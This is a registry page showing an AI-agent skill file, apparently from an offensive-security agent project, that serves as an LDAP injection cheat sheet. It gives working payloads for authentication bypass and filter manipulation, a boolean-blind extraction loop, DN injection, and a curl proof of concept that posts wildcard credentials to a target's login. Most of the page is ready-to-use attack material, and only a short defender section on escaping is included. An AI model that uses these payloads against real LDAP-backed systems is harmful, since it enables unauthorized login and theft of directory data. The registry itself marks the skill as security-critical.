ldapi

LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.

Quality

58%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

Securityby

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md

LDAP Injection

LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not). User input concatenated into the filter string = injection.

1. Auth bypass

# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"

# Payload — comment-out rest of filter via wildcard
user = "*"
pw   = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin

user = "admin)(|(uid=*"
pw   = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored

2. Blind extraction

# Boolean-blind: probe each char via wildcard match
for c in string.printable:
    payload = f"*)(uid=admin)(description={c}*)"
    if "found" in response:
        # next char is c

3. DN injection

# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins"  → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)

4. Common vulnerable apps

Custom auth backends w/ python-ldap or ldap3 lib direct-format
Legacy Java apps w/ JNDI w/o escaping
DokuWiki / older intranets

5. Tools

Manual via Burp Repeater (most cases need careful crafting)
ldapsearch to verify directly once you have any cred
Burp Intruder w/ payloads from _corpus/payloads/LDAP Injection/

6. PoC

curl -s -X POST $TARGET/login -d 'user=*&pass=*'   # if logged in → bug

7. Severity

Bug	Severity
Auth bypass via wildcard	Critical 9.8
Blind extract of full LDAP directory	Critical 9.0
DN injection enabling group escalation	High 8.0

8. Defender

import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')

Cross-references

Upstream catalog: skills/_corpus/payloads/LDAP Injection/
AD attack patterns (different layer): skills/ad/SKILL.md

Repository: PurpleAILAB/Decepticon
Path: packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md
Commit: 0cf691e

Last updated: 2 days ago
First committed: 3 months ago

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.